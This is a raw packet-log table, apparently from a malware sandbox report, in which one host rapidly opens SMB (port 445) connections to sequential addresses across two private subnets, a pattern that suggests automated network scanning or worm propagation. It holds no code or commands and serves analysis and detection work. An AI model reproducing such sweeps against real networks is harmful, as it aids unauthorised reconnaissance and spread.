Jul 6, 2024 14:11:24.978305101 CEST	50348	445	192.168.2.6	192.168.1.103
Jul 6, 2024 14:11:24.979383945 CEST	445	50347	192.168.1.102	192.168.2.6
Jul 6, 2024 14:11:24.981899023 CEST	50347	445	192.168.2.6	192.168.1.102
Jul 6, 2024 14:11:24.984230995 CEST	445	50348	192.168.1.103	192.168.2.6
Jul 6, 2024 14:11:24.984925032 CEST	50348	445	192.168.2.6	192.168.1.103
Jul 6, 2024 14:11:24.984925032 CEST	50348	445	192.168.2.6	192.168.1.103
Jul 6, 2024 14:11:24.991178989 CEST	50349	445	192.168.2.6	192.168.0.229
Jul 6, 2024 14:11:24.991255045 CEST	50350	445	192.168.2.6	192.168.0.230
Jul 6, 2024 14:11:24.991379976 CEST	50351	445	192.168.2.6	192.168.0.231
Jul 6, 2024 14:11:24.991514921 CEST	50352	445	192.168.2.6	192.168.1.104
Jul 6, 2024 14:11:24.992860079 CEST	445	50348	192.168.1.103	192.168.2.6
Jul 6, 2024 14:11:24.992914915 CEST	50348	445	192.168.2.6	192.168.1.103
Jul 6, 2024 14:11:24.995981932 CEST	445	50349	192.168.0.229	192.168.2.6
Jul 6, 2024 14:11:24.996054888 CEST	50349	445	192.168.2.6	192.168.0.229
Jul 6, 2024 14:11:24.996123075 CEST	50349	445	192.168.2.6	192.168.0.229
Jul 6, 2024 14:11:24.996295929 CEST	445	50350	192.168.0.230	192.168.2.6
Jul 6, 2024 14:11:24.996305943 CEST	445	50351	192.168.0.231	192.168.2.6
Jul 6, 2024 14:11:24.996390104 CEST	50350	445	192.168.2.6	192.168.0.230
Jul 6, 2024 14:11:24.996390104 CEST	50351	445	192.168.2.6	192.168.0.231
Jul 6, 2024 14:11:24.996408939 CEST	445	50352	192.168.1.104	192.168.2.6
Jul 6, 2024 14:11:24.996440887 CEST	50350	445	192.168.2.6	192.168.0.230
Jul 6, 2024 14:11:24.996440887 CEST	50351	445	192.168.2.6	192.168.0.231
Jul 6, 2024 14:11:24.996984005 CEST	50352	445	192.168.2.6	192.168.1.104
Jul 6, 2024 14:11:24.996984005 CEST	50352	445	192.168.2.6	192.168.1.104
Jul 6, 2024 14:11:25.000922918 CEST	445	50349	192.168.0.229	192.168.2.6
Jul 6, 2024 14:11:25.001452923 CEST	445	50349	192.168.0.229	192.168.2.6
Jul 6, 2024 14:11:25.001789093 CEST	445	50350	192.168.0.230	192.168.2.6
Jul 6, 2024 14:11:25.001822948 CEST	445	50351	192.168.0.231	192.168.2.6
Jul 6, 2024 14:11:25.002070904 CEST	445	50351	192.168.0.231	192.168.2.6
Jul 6, 2024 14:11:25.002652884 CEST	445	50352	192.168.1.104	192.168.2.6
Jul 6, 2024 14:11:25.002711058 CEST	50352	445	192.168.2.6	192.168.1.104
Jul 6, 2024 14:11:25.007193089 CEST	50353	445	192.168.2.6	192.168.1.105
Jul 6, 2024 14:11:25.012712955 CEST	445	50353	192.168.1.105	192.168.2.6
Jul 6, 2024 14:11:25.012835026 CEST	50353	445	192.168.2.6	192.168.1.105
Jul 6, 2024 14:11:25.012892962 CEST	50353	445	192.168.2.6	192.168.1.105
Jul 6, 2024 14:11:25.018692017 CEST	445	50353	192.168.1.105	192.168.2.6
Jul 6, 2024 14:11:25.022455931 CEST	50354	445	192.168.2.6	192.168.0.232
Jul 6, 2024 14:11:25.022727966 CEST	50355	445	192.168.2.6	192.168.1.106
Jul 6, 2024 14:11:25.024913073 CEST	445	50353	192.168.1.105	192.168.2.6
Jul 6, 2024 14:11:25.026242018 CEST	50353	445	192.168.2.6	192.168.1.105
Jul 6, 2024 14:11:25.027450085 CEST	445	50354	192.168.0.232	192.168.2.6
Jul 6, 2024 14:11:25.027515888 CEST	50354	445	192.168.2.6	192.168.0.232
Jul 6, 2024 14:11:25.027570009 CEST	50354	445	192.168.2.6	192.168.0.232
Jul 6, 2024 14:11:25.028167009 CEST	445	50355	192.168.1.106	192.168.2.6
Jul 6, 2024 14:11:25.028220892 CEST	50355	445	192.168.2.6	192.168.1.106
Jul 6, 2024 14:11:25.028310061 CEST	50355	445	192.168.2.6	192.168.1.106
Jul 6, 2024 14:11:25.032350063 CEST	445	50354	192.168.0.232	192.168.2.6
Jul 6, 2024 14:11:25.033433914 CEST	445	50355	192.168.1.106	192.168.2.6
Jul 6, 2024 14:11:25.033480883 CEST	50355	445	192.168.2.6	192.168.1.106
Jul 6, 2024 14:11:25.033809900 CEST	445	50355	192.168.1.106	192.168.2.6
Jul 6, 2024 14:11:25.038069963 CEST	50356	445	192.168.2.6	192.168.0.233
Jul 6, 2024 14:11:25.038729906 CEST	50357	445	192.168.2.6	192.168.1.107
Jul 6, 2024 14:11:25.042905092 CEST	445	50356	192.168.0.233	192.168.2.6
Jul 6, 2024 14:11:25.042977095 CEST	50356	445	192.168.2.6	192.168.0.233
Jul 6, 2024 14:11:25.043035030 CEST	50356	445	192.168.2.6	192.168.0.233
Jul 6, 2024 14:11:25.043618917 CEST	445	50357	192.168.1.107	192.168.2.6
Jul 6, 2024 14:11:25.044087887 CEST	50357	445	192.168.2.6	192.168.1.107
Jul 6, 2024 14:11:25.044087887 CEST	50357	445	192.168.2.6	192.168.1.107
Jul 6, 2024 14:11:25.047899961 CEST	445	50356	192.168.0.233	192.168.2.6
Jul 6, 2024 14:11:25.048105955 CEST	445	50356	192.168.0.233	192.168.2.6
Jul 6, 2024 14:11:25.049110889 CEST	445	50357	192.168.1.107	192.168.2.6
Jul 6, 2024 14:11:25.049166918 CEST	50357	445	192.168.2.6	192.168.1.107
Jul 6, 2024 14:11:25.055644035 CEST	50358	445	192.168.2.6	192.168.0.234
Jul 6, 2024 14:11:25.055644035 CEST	50359	445	192.168.2.6	192.168.0.235
Jul 6, 2024 14:11:25.058218002 CEST	50360	445	192.168.2.6	192.168.1.108
Jul 6, 2024 14:11:25.060553074 CEST	445	50358	192.168.0.234	192.168.2.6
Jul 6, 2024 14:11:25.060628891 CEST	445	50359	192.168.0.235	192.168.2.6
Jul 6, 2024 14:11:25.061590910 CEST	50358	445	192.168.2.6	192.168.0.234
Jul 6, 2024 14:11:25.061590910 CEST	50359	445	192.168.2.6	192.168.0.235
Jul 6, 2024 14:11:25.061590910 CEST	50358	445	192.168.2.6	192.168.0.234
Jul 6, 2024 14:11:25.061590910 CEST	50359	445	192.168.2.6	192.168.0.235
Jul 6, 2024 14:11:25.063685894 CEST	445	50360	192.168.1.108	192.168.2.6
Jul 6, 2024 14:11:25.063746929 CEST	50360	445	192.168.2.6	192.168.1.108
Jul 6, 2024 14:11:25.064308882 CEST	50360	445	192.168.2.6	192.168.1.108
Jul 6, 2024 14:11:25.066870928 CEST	445	50358	192.168.0.234	192.168.2.6
Jul 6, 2024 14:11:25.067080975 CEST	445	50359	192.168.0.235	192.168.2.6
Jul 6, 2024 14:11:25.067696095 CEST	445	50358	192.168.0.234	192.168.2.6
Jul 6, 2024 14:11:25.067982912 CEST	445	50359	192.168.0.235	192.168.2.6
Jul 6, 2024 14:11:25.068878889 CEST	445	50360	192.168.1.108	192.168.2.6
Jul 6, 2024 14:11:25.069154024 CEST	445	50360	192.168.1.108	192.168.2.6
Jul 6, 2024 14:11:25.069655895 CEST	50360	445	192.168.2.6	192.168.1.108
Jul 6, 2024 14:11:25.069730997 CEST	50361	445	192.168.2.6	192.168.0.236
Jul 6, 2024 14:11:25.071336985 CEST	50362	445	192.168.2.6	192.168.1.109
Jul 6, 2024 14:11:25.074817896 CEST	445	50361	192.168.0.236	192.168.2.6
Jul 6, 2024 14:11:25.075972080 CEST	50361	445	192.168.2.6	192.168.0.236
Jul 6, 2024 14:11:25.075972080 CEST	50361	445	192.168.2.6	192.168.0.236
Jul 6, 2024 14:11:25.076903105 CEST	445	50362	192.168.1.109	192.168.2.6
Jul 6, 2024 14:11:25.076961040 CEST	50362	445	192.168.2.6	192.168.1.109
Jul 6, 2024 14:11:25.077056885 CEST	50362	445	192.168.2.6	192.168.1.109
Jul 6, 2024 14:11:25.082408905 CEST	445	50362	192.168.1.109	192.168.2.6
Jul 6, 2024 14:11:25.082458973 CEST	50362	445	192.168.2.6	192.168.1.109
Jul 6, 2024 14:11:25.082500935 CEST	445	50361	192.168.0.236	192.168.2.6
Jul 6, 2024 14:11:25.083539009 CEST	445	50361	192.168.0.236	192.168.2.6
Jul 6, 2024 14:11:25.085268021 CEST	50364	445	192.168.2.6	192.168.1.110
Jul 6, 2024 14:11:25.085504055 CEST	50363	445	192.168.2.6	192.168.0.237
Jul 6, 2024 14:11:25.090514898 CEST	445	50364	192.168.1.110	192.168.2.6
Jul 6, 2024 14:11:25.090564013 CEST	445	50363	192.168.0.237	192.168.2.6
Jul 6, 2024 14:11:25.090564966 CEST	50364	445	192.168.2.6	192.168.1.110
Jul 6, 2024 14:11:25.090791941 CEST	50364	445	192.168.2.6	192.168.1.110
Jul 6, 2024 14:11:25.092433929 CEST	50363	445	192.168.2.6	192.168.0.237
Jul 6, 2024 14:11:25.092433929 CEST	50363	445	192.168.2.6	192.168.0.237
Jul 6, 2024 14:11:25.096328974 CEST	445	50364	192.168.1.110	192.168.2.6
Jul 6, 2024 14:11:25.096373081 CEST	50364	445	192.168.2.6	192.168.1.110
Jul 6, 2024 14:11:25.099721909 CEST	445	50363	192.168.0.237	192.168.2.6
Jul 6, 2024 14:11:25.099917889 CEST	445	50363	192.168.0.237	192.168.2.6
Jul 6, 2024 14:11:25.101789951 CEST	50365	445	192.168.2.6	192.168.0.238
Jul 6, 2024 14:11:25.101949930 CEST	50366	445	192.168.2.6	192.168.1.111
Jul 6, 2024 14:11:25.106770992 CEST	445	50365	192.168.0.238	192.168.2.6
Jul 6, 2024 14:11:25.106882095 CEST	445	50366	192.168.1.111	192.168.2.6
Jul 6, 2024 14:11:25.106933117 CEST	50366	445	192.168.2.6	192.168.1.111
Jul 6, 2024 14:11:25.107012033 CEST	50366	445	192.168.2.6	192.168.1.111
Jul 6, 2024 14:11:25.107244015 CEST	50365	445	192.168.2.6	192.168.0.238
Jul 6, 2024 14:11:25.107244015 CEST	50365	445	192.168.2.6	192.168.0.238
Jul 6, 2024 14:11:25.112287998 CEST	445	50365	192.168.0.238	192.168.2.6
Jul 6, 2024 14:11:25.112416029 CEST	445	50366	192.168.1.111	192.168.2.6
Jul 6, 2024 14:11:25.112464905 CEST	50366	445	192.168.2.6	192.168.1.111
Jul 6, 2024 14:11:25.112971067 CEST	445	50365	192.168.0.238	192.168.2.6
Jul 6, 2024 14:11:25.117738962 CEST	50367	445	192.168.2.6	192.168.1.112
Jul 6, 2024 14:11:25.124511003 CEST	445	50367	192.168.1.112	192.168.2.6
Jul 6, 2024 14:11:25.125063896 CEST	50367	445	192.168.2.6	192.168.1.112
Jul 6, 2024 14:11:25.125063896 CEST	50367	445	192.168.2.6	192.168.1.112
Jul 6, 2024 14:11:25.130798101 CEST	445	50367	192.168.1.112	192.168.2.6
Jul 6, 2024 14:11:25.130850077 CEST	50367	445	192.168.2.6	192.168.1.112
Jul 6, 2024 14:11:25.131995916 CEST	50368	445	192.168.2.6	192.168.1.113
Jul 6, 2024 14:11:25.136814117 CEST	445	50368	192.168.1.113	192.168.2.6
Jul 6, 2024 14:11:25.138942957 CEST	50368	445	192.168.2.6	192.168.1.113
Jul 6, 2024 14:11:25.138942957 CEST	50368	445	192.168.2.6	192.168.1.113
Jul 6, 2024 14:11:25.143896103 CEST	445	50368	192.168.1.113	192.168.2.6
Jul 6, 2024 14:11:25.144114971 CEST	50368	445	192.168.2.6	192.168.1.113
Jul 6, 2024 14:11:25.144169092 CEST	445	50368	192.168.1.113	192.168.2.6
Jul 6, 2024 14:11:25.148382902 CEST	50371	445	192.168.2.6	192.168.1.114
Jul 6, 2024 14:11:25.155541897 CEST	445	50371	192.168.1.114	192.168.2.6
Jul 6, 2024 14:11:25.157157898 CEST	50371	445	192.168.2.6	192.168.1.114
Jul 6, 2024 14:11:25.157159090 CEST	50371	445	192.168.2.6	192.168.1.114
Jul 6, 2024 14:11:25.158895969 CEST	50369	445	192.168.2.6	192.168.0.240
Jul 6, 2024 14:11:25.158895969 CEST	50370	445	192.168.2.6	192.168.0.239
Jul 6, 2024 14:11:25.162580013 CEST	445	50371	192.168.1.114	192.168.2.6
Jul 6, 2024 14:11:25.162868977 CEST	445	50371	192.168.1.114	192.168.2.6
Jul 6, 2024 14:11:25.162946939 CEST	50371	445	192.168.2.6	192.168.1.114
Jul 6, 2024 14:11:25.163274050 CEST	50372	445	192.168.2.6	192.168.0.241
Jul 6, 2024 14:11:25.163400888 CEST	50373	445	192.168.2.6	192.168.0.242
Jul 6, 2024 14:11:25.163964033 CEST	50374	445	192.168.2.6	192.168.1.115
Jul 6, 2024 14:11:25.164007902 CEST	445	50369	192.168.0.240	192.168.2.6
Jul 6, 2024 14:11:25.164083958 CEST	445	50370	192.168.0.239	192.168.2.6
Jul 6, 2024 14:11:25.164371967 CEST	50369	445	192.168.2.6	192.168.0.240
Jul 6, 2024 14:11:25.164371967 CEST	50369	445	192.168.2.6	192.168.0.240
Jul 6, 2024 14:11:25.164371967 CEST	50370	445	192.168.2.6	192.168.0.239
Jul 6, 2024 14:11:25.164371967 CEST	50370	445	192.168.2.6	192.168.0.239
Jul 6, 2024 14:11:25.168318033 CEST	445	50372	192.168.0.241	192.168.2.6
Jul 6, 2024 14:11:25.168400049 CEST	445	50373	192.168.0.242	192.168.2.6
Jul 6, 2024 14:11:25.168435097 CEST	50372	445	192.168.2.6	192.168.0.241
Jul 6, 2024 14:11:25.168435097 CEST	50372	445	192.168.2.6	192.168.0.241
Jul 6, 2024 14:11:25.168447971 CEST	50373	445	192.168.2.6	192.168.0.242
Jul 6, 2024 14:11:25.168467999 CEST	50373	445	192.168.2.6	192.168.0.242
Jul 6, 2024 14:11:25.168867111 CEST	445	50374	192.168.1.115	192.168.2.6
Jul 6, 2024 14:11:25.169646978 CEST	445	50369	192.168.0.240	192.168.2.6
Jul 6, 2024 14:11:25.169801950 CEST	445	50370	192.168.0.239	192.168.2.6
Jul 6, 2024 14:11:25.170169115 CEST	445	50369	192.168.0.240	192.168.2.6
Jul 6, 2024 14:11:25.170347929 CEST	445	50370	192.168.0.239	192.168.2.6
Jul 6, 2024 14:11:25.170562983 CEST	50374	445	192.168.2.6	192.168.1.115
Jul 6, 2024 14:11:25.170562983 CEST	50374	445	192.168.2.6	192.168.1.115
Jul 6, 2024 14:11:25.173300982 CEST	445	50373	192.168.0.242	192.168.2.6
Jul 6, 2024 14:11:25.173556089 CEST	445	50373	192.168.0.242	192.168.2.6
Jul 6, 2024 14:11:25.174506903 CEST	445	50372	192.168.0.241	192.168.2.6
Jul 6, 2024 14:11:25.174782991 CEST	445	50372	192.168.0.241	192.168.2.6
Jul 6, 2024 14:11:25.175595999 CEST	445	50374	192.168.1.115	192.168.2.6
Jul 6, 2024 14:11:25.176167965 CEST	50374	445	192.168.2.6	192.168.1.115
Jul 6, 2024 14:11:25.178859949 CEST	50375	445	192.168.2.6	192.168.1.116
Jul 6, 2024 14:11:25.184406996 CEST	445	50375	192.168.1.116	192.168.2.6
Jul 6, 2024 14:11:25.184469938 CEST	50375	445	192.168.2.6	192.168.1.116
Jul 6, 2024 14:11:25.184582949 CEST	50375	445	192.168.2.6	192.168.1.116
Jul 6, 2024 14:11:25.189837933 CEST	445	50375	192.168.1.116	192.168.2.6
Jul 6, 2024 14:11:25.192636013 CEST	50375	445	192.168.2.6	192.168.1.116
Jul 6, 2024 14:11:25.194417953 CEST	50376	445	192.168.2.6	192.168.0.243
Jul 6, 2024 14:11:25.194566011 CEST	50377	445	192.168.2.6	192.168.0.244
Jul 6, 2024 14:11:25.194940090 CEST	50378	445	192.168.2.6	192.168.1.117
Jul 6, 2024 14:11:25.199244976 CEST	445	50376	192.168.0.243	192.168.2.6
Jul 6, 2024 14:11:25.199573994 CEST	445	50377	192.168.0.244	192.168.2.6
Jul 6, 2024 14:11:25.199839115 CEST	445	50378	192.168.1.117	192.168.2.6
Jul 6, 2024 14:11:25.200897932 CEST	50377	445	192.168.2.6	192.168.0.244
Jul 6, 2024 14:11:25.200897932 CEST	50377	445	192.168.2.6	192.168.0.244
Jul 6, 2024 14:11:25.201212883 CEST	50376	445	192.168.2.6	192.168.0.243
Jul 6, 2024 14:11:25.201212883 CEST	50376	445	192.168.2.6	192.168.0.243
Jul 6, 2024 14:11:25.201212883 CEST	50378	445	192.168.2.6	192.168.1.117
Jul 6, 2024 14:11:25.201212883 CEST	50378	445	192.168.2.6	192.168.1.117
Jul 6, 2024 14:11:25.205759048 CEST	445	50377	192.168.0.244	192.168.2.6
Jul 6, 2024 14:11:25.206275940 CEST	445	50377	192.168.0.244	192.168.2.6
Jul 6, 2024 14:11:25.209994078 CEST	50379	445	192.168.2.6	192.168.0.245
Jul 6, 2024 14:11:25.210303068 CEST	50380	445	192.168.2.6	192.168.1.118
Jul 6, 2024 14:11:25.210462093 CEST	445	50376	192.168.0.243	192.168.2.6
Jul 6, 2024 14:11:25.210877895 CEST	445	50376	192.168.0.243	192.168.2.6
Jul 6, 2024 14:11:25.210963964 CEST	445	50378	192.168.1.117	192.168.2.6
Jul 6, 2024 14:11:25.211123943 CEST	50378	445	192.168.2.6	192.168.1.117
Jul 6, 2024 14:11:25.214818001 CEST	445	50379	192.168.0.245	192.168.2.6
Jul 6, 2024 14:11:25.214869976 CEST	50379	445	192.168.2.6	192.168.0.245
Jul 6, 2024 14:11:25.214912891 CEST	50379	445	192.168.2.6	192.168.0.245
Jul 6, 2024 14:11:25.215131998 CEST	445	50380	192.168.1.118	192.168.2.6
Jul 6, 2024 14:11:25.215177059 CEST	50380	445	192.168.2.6	192.168.1.118
Jul 6, 2024 14:11:25.219954014 CEST	445	50379	192.168.0.245	192.168.2.6
Jul 6, 2024 14:11:25.219964027 CEST	445	50379	192.168.0.245	192.168.2.6
Jul 6, 2024 14:11:25.220369101 CEST	445	50380	192.168.1.118	192.168.2.6
Jul 6, 2024 14:11:25.220410109 CEST	50380	445	192.168.2.6	192.168.1.118
Jul 6, 2024 14:11:25.225522995 CEST	50380	445	192.168.2.6	192.168.1.118
Jul 6, 2024 14:11:25.226416111 CEST	50381	445	192.168.2.6	192.168.1.119
Jul 6, 2024 14:11:25.230617046 CEST	445	50380	192.168.1.118	192.168.2.6
Jul 6, 2024 14:11:25.231658936 CEST	445	50381	192.168.1.119	192.168.2.6
Jul 6, 2024 14:11:25.231724977 CEST	50381	445	192.168.2.6	192.168.1.119
Jul 6, 2024 14:11:25.231805086 CEST	50381	445	192.168.2.6	192.168.1.119
Jul 6, 2024 14:11:25.236870050 CEST	445	50381	192.168.1.119	192.168.2.6
Jul 6, 2024 14:11:25.239429951 CEST	50381	445	192.168.2.6	192.168.1.119
Jul 6, 2024 14:11:25.241576910 CEST	50382	445	192.168.2.6	192.168.0.246
Jul 6, 2024 14:11:25.242481947 CEST	50383	445	192.168.2.6	192.168.1.120
Jul 6, 2024 14:11:25.246857882 CEST	445	50382	192.168.0.246	192.168.2.6
Jul 6, 2024 14:11:25.247064114 CEST	50382	445	192.168.2.6	192.168.0.246
Jul 6, 2024 14:11:25.247064114 CEST	50382	445	192.168.2.6	192.168.0.246
Jul 6, 2024 14:11:25.247411966 CEST	445	50383	192.168.1.120	192.168.2.6
Jul 6, 2024 14:11:25.248250961 CEST	50383	445	192.168.2.6	192.168.1.120
Jul 6, 2024 14:11:25.248250961 CEST	50383	445	192.168.2.6	192.168.1.120
Jul 6, 2024 14:11:25.257150888 CEST	50384	445	192.168.2.6	192.168.0.247
Jul 6, 2024 14:11:25.257234097 CEST	50385	445	192.168.2.6	192.168.0.248
Jul 6, 2024 14:11:25.257826090 CEST	50386	445	192.168.2.6	192.168.1.121
Jul 6, 2024 14:11:25.259319067 CEST	445	50382	192.168.0.246	192.168.2.6
Jul 6, 2024 14:11:25.260205030 CEST	445	50383	192.168.1.120	192.168.2.6
Jul 6, 2024 14:11:25.260672092 CEST	445	50382	192.168.0.246	192.168.2.6
Jul 6, 2024 14:11:25.260859966 CEST	50383	445	192.168.2.6	192.168.1.120
Jul 6, 2024 14:11:25.262566090 CEST	445	50384	192.168.0.247	192.168.2.6
Jul 6, 2024 14:11:25.262636900 CEST	50384	445	192.168.2.6	192.168.0.247
Jul 6, 2024 14:11:25.263058901 CEST	445	50385	192.168.0.248	192.168.2.6
Jul 6, 2024 14:11:25.263067961 CEST	445	50386	192.168.1.121	192.168.2.6
Jul 6, 2024 14:11:25.263176918 CEST	50385	445	192.168.2.6	192.168.0.248
Jul 6, 2024 14:11:25.266522884 CEST	50386	445	192.168.2.6	192.168.1.121
Jul 6, 2024 14:11:25.268508911 CEST	445	50384	192.168.0.247	192.168.2.6
Jul 6, 2024 14:11:25.268985987 CEST	445	50385	192.168.0.248	192.168.2.6
Jul 6, 2024 14:11:25.269479990 CEST	50384	445	192.168.2.6	192.168.0.247
Jul 6, 2024 14:11:25.269479990 CEST	50384	445	192.168.2.6	192.168.0.247
Jul 6, 2024 14:11:25.269592047 CEST	50386	445	192.168.2.6	192.168.1.121
Jul 6, 2024 14:11:25.270231962 CEST	50385	445	192.168.2.6	192.168.0.248
Jul 6, 2024 14:11:25.270231962 CEST	50385	445	192.168.2.6	192.168.0.248
Jul 6, 2024 14:11:25.272484064 CEST	50387	445	192.168.2.6	192.168.0.249
Jul 6, 2024 14:11:25.274564028 CEST	445	50384	192.168.0.247	192.168.2.6
Jul 6, 2024 14:11:25.274931908 CEST	445	50386	192.168.1.121	192.168.2.6
Jul 6, 2024 14:11:25.275371075 CEST	50388	445	192.168.2.6	192.168.1.122
Jul 6, 2024 14:11:25.275371075 CEST	50386	445	192.168.2.6	192.168.1.121
Jul 6, 2024 14:11:25.275990009 CEST	445	50385	192.168.0.248	192.168.2.6
Jul 6, 2024 14:11:25.277378082 CEST	445	50387	192.168.0.249	192.168.2.6
Jul 6, 2024 14:11:25.279413939 CEST	50387	445	192.168.2.6	192.168.0.249
Jul 6, 2024 14:11:25.279413939 CEST	50387	445	192.168.2.6	192.168.0.249
Jul 6, 2024 14:11:25.280385017 CEST	445	50388	192.168.1.122	192.168.2.6
Jul 6, 2024 14:11:25.280755997 CEST	50388	445	192.168.2.6	192.168.1.122
Jul 6, 2024 14:11:25.280755997 CEST	50388	445	192.168.2.6	192.168.1.122
Jul 6, 2024 14:11:25.285806894 CEST	445	50387	192.168.0.249	192.168.2.6
Jul 6, 2024 14:11:25.285898924 CEST	445	50387	192.168.0.249	192.168.2.6
Jul 6, 2024 14:11:25.287034035 CEST	445	50388	192.168.1.122	192.168.2.6
Jul 6, 2024 14:11:25.287075043 CEST	50388	445	192.168.2.6	192.168.1.122
Jul 6, 2024 14:11:25.288300037 CEST	50389	445	192.168.2.6	192.168.0.250
Jul 6, 2024 14:11:25.288465977 CEST	50390	445	192.168.2.6	192.168.1.123
Jul 6, 2024 14:11:25.293728113 CEST	445	50389	192.168.0.250	192.168.2.6
Jul 6, 2024 14:11:25.294024944 CEST	445	50390	192.168.1.123	192.168.2.6
Jul 6, 2024 14:11:25.294079065 CEST	50390	445	192.168.2.6	192.168.1.123
Jul 6, 2024 14:11:25.294168949 CEST	50390	445	192.168.2.6	192.168.1.123
Jul 6, 2024 14:11:25.295205116 CEST	50389	445	192.168.2.6	192.168.0.250
Jul 6, 2024 14:11:25.295205116 CEST	50389	445	192.168.2.6	192.168.0.250
Jul 6, 2024 14:11:25.299928904 CEST	445	50390	192.168.1.123	192.168.2.6
Jul 6, 2024 14:11:25.299938917 CEST	445	50390	192.168.1.123	192.168.2.6
Jul 6, 2024 14:11:25.302962065 CEST	445	50389	192.168.0.250	192.168.2.6
Jul 6, 2024 14:11:25.306072950 CEST	50391	445	192.168.2.6	192.168.1.124
Jul 6, 2024 14:11:25.318820000 CEST	445	50391	192.168.1.124	192.168.2.6
Jul 6, 2024 14:11:25.318937063 CEST	50391	445	192.168.2.6	192.168.1.124
Jul 6, 2024 14:11:25.318989038 CEST	50391	445	192.168.2.6	192.168.1.124
Jul 6, 2024 14:11:25.319338083 CEST	50392	445	192.168.2.6	192.168.0.251
Jul 6, 2024 14:11:25.319622040 CEST	50393	445	192.168.2.6	192.168.1.125
Jul 6, 2024 14:11:25.326380968 CEST	445	50392	192.168.0.251	192.168.2.6
Jul 6, 2024 14:11:25.326390982 CEST	445	50393	192.168.1.125	192.168.2.6
Jul 6, 2024 14:11:25.326399088 CEST	445	50391	192.168.1.124	192.168.2.6
Jul 6, 2024 14:11:25.326453924 CEST	50392	445	192.168.2.6	192.168.0.251
Jul 6, 2024 14:11:25.326488972 CEST	50391	445	192.168.2.6	192.168.1.124
Jul 6, 2024 14:11:25.326488972 CEST	50393	445	192.168.2.6	192.168.1.125
Jul 6, 2024 14:11:25.326565981 CEST	50392	445	192.168.2.6	192.168.0.251
Jul 6, 2024 14:11:25.326668978 CEST	50393	445	192.168.2.6	192.168.1.125
Jul 6, 2024 14:11:25.332529068 CEST	445	50392	192.168.0.251	192.168.2.6
Jul 6, 2024 14:11:25.333441973 CEST	445	50393	192.168.1.125	192.168.2.6
Jul 6, 2024 14:11:25.333486080 CEST	50393	445	192.168.2.6	192.168.1.125
Jul 6, 2024 14:11:25.335078955 CEST	50394	445	192.168.2.6	192.168.0.252
Jul 6, 2024 14:11:25.335107088 CEST	50395	445	192.168.2.6	192.168.0.253
Jul 6, 2024 14:11:25.335371017 CEST	50396	445	192.168.2.6	192.168.1.126
Jul 6, 2024 14:11:25.342972040 CEST	445	50394	192.168.0.252	192.168.2.6
Jul 6, 2024 14:11:25.342982054 CEST	445	50395	192.168.0.253	192.168.2.6
Jul 6, 2024 14:11:25.342992067 CEST	445	50396	192.168.1.126	192.168.2.6
Jul 6, 2024 14:11:25.343046904 CEST	50394	445	192.168.2.6	192.168.0.252
Jul 6, 2024 14:11:25.343046904 CEST	50395	445	192.168.2.6	192.168.0.253
Jul 6, 2024 14:11:25.343080044 CEST	50396	445	192.168.2.6	192.168.1.126
Jul 6, 2024 14:11:25.343152046 CEST	50394	445	192.168.2.6	192.168.0.252
Jul 6, 2024 14:11:25.343152046 CEST	50395	445	192.168.2.6	192.168.0.253
Jul 6, 2024 14:11:25.343194008 CEST	50396	445	192.168.2.6	192.168.1.126
Jul 6, 2024 14:11:25.347910881 CEST	445	50394	192.168.0.252	192.168.2.6
Jul 6, 2024 14:11:25.348002911 CEST	445	50395	192.168.0.253	192.168.2.6
Jul 6, 2024 14:11:25.350034952 CEST	445	50394	192.168.0.252	192.168.2.6
Jul 6, 2024 14:11:25.350210905 CEST	445	50395	192.168.0.253	192.168.2.6
Jul 6, 2024 14:11:25.350435972 CEST	445	50396	192.168.1.126	192.168.2.6
Jul 6, 2024 14:11:25.350637913 CEST	50396	445	192.168.2.6	192.168.1.126
Jul 6, 2024 14:11:25.351922035 CEST	50397	445	192.168.2.6	192.168.1.127
Jul 6, 2024 14:11:25.358261108 CEST	445	50397	192.168.1.127	192.168.2.6
Jul 6, 2024 14:11:25.360095978 CEST	50397	445	192.168.2.6	192.168.1.127
Jul 6, 2024 14:11:25.366077900 CEST	50397	445	192.168.2.6	192.168.1.127
Jul 6, 2024 14:11:25.366496086 CEST	50399	445	192.168.2.6	192.168.1.128
Jul 6, 2024 14:11:25.367847919 CEST	50398	445	192.168.2.6	192.168.0.254
Jul 6, 2024 14:11:25.371952057 CEST	445	50397	192.168.1.127	192.168.2.6
Jul 6, 2024 14:11:25.372004032 CEST	50397	445	192.168.2.6	192.168.1.127
Jul 6, 2024 14:11:25.372111082 CEST	445	50397	192.168.1.127	192.168.2.6
Jul 6, 2024 14:11:25.372128963 CEST	445	50399	192.168.1.128	192.168.2.6
Jul 6, 2024 14:11:25.372184038 CEST	50399	445	192.168.2.6	192.168.1.128
Jul 6, 2024 14:11:25.372261047 CEST	50399	445	192.168.2.6	192.168.1.128
Jul 6, 2024 14:11:25.373349905 CEST	445	50398	192.168.0.254	192.168.2.6
Jul 6, 2024 14:11:25.373405933 CEST	50398	445	192.168.2.6	192.168.0.254
Jul 6, 2024 14:11:25.373450041 CEST	50398	445	192.168.2.6	192.168.0.254
Jul 6, 2024 14:11:25.379307985 CEST	445	50398	192.168.0.254	192.168.2.6
Jul 6, 2024 14:11:25.381941080 CEST	50400	445	192.168.2.6	192.168.0.255
Jul 6, 2024 14:11:25.382247925 CEST	50402	445	192.168.2.6	192.168.1.129
Jul 6, 2024 14:11:25.382432938 CEST	50401	445	192.168.2.6	192.168.1.1
Jul 6, 2024 14:11:25.382519960 CEST	445	50399	192.168.1.128	192.168.2.6
Jul 6, 2024 14:11:25.383867025 CEST	445	50399	192.168.1.128	192.168.2.6
Jul 6, 2024 14:11:25.383919954 CEST	50399	445	192.168.2.6	192.168.1.128
Jul 6, 2024 14:11:25.384707928 CEST	445	50398	192.168.0.254	192.168.2.6
Jul 6, 2024 14:11:25.389969110 CEST	445	50400	192.168.0.255	192.168.2.6
Jul 6, 2024 14:11:25.389978886 CEST	445	50402	192.168.1.129	192.168.2.6
Jul 6, 2024 14:11:25.389986992 CEST	445	50401	192.168.1.1	192.168.2.6
Jul 6, 2024 14:11:25.390067101 CEST	50400	445	192.168.2.6	192.168.0.255
Jul 6, 2024 14:11:25.390090942 CEST	50402	445	192.168.2.6	192.168.1.129
Jul 6, 2024 14:11:25.390105009 CEST	50400	445	192.168.2.6	192.168.0.255
Jul 6, 2024 14:11:25.390211105 CEST	50402	445	192.168.2.6	192.168.1.129
Jul 6, 2024 14:11:25.390433073 CEST	50401	445	192.168.2.6	192.168.1.1
Jul 6, 2024 14:11:25.390433073 CEST	50401	445	192.168.2.6	192.168.1.1
Jul 6, 2024 14:11:25.395112991 CEST	445	50400	192.168.0.255	192.168.2.6
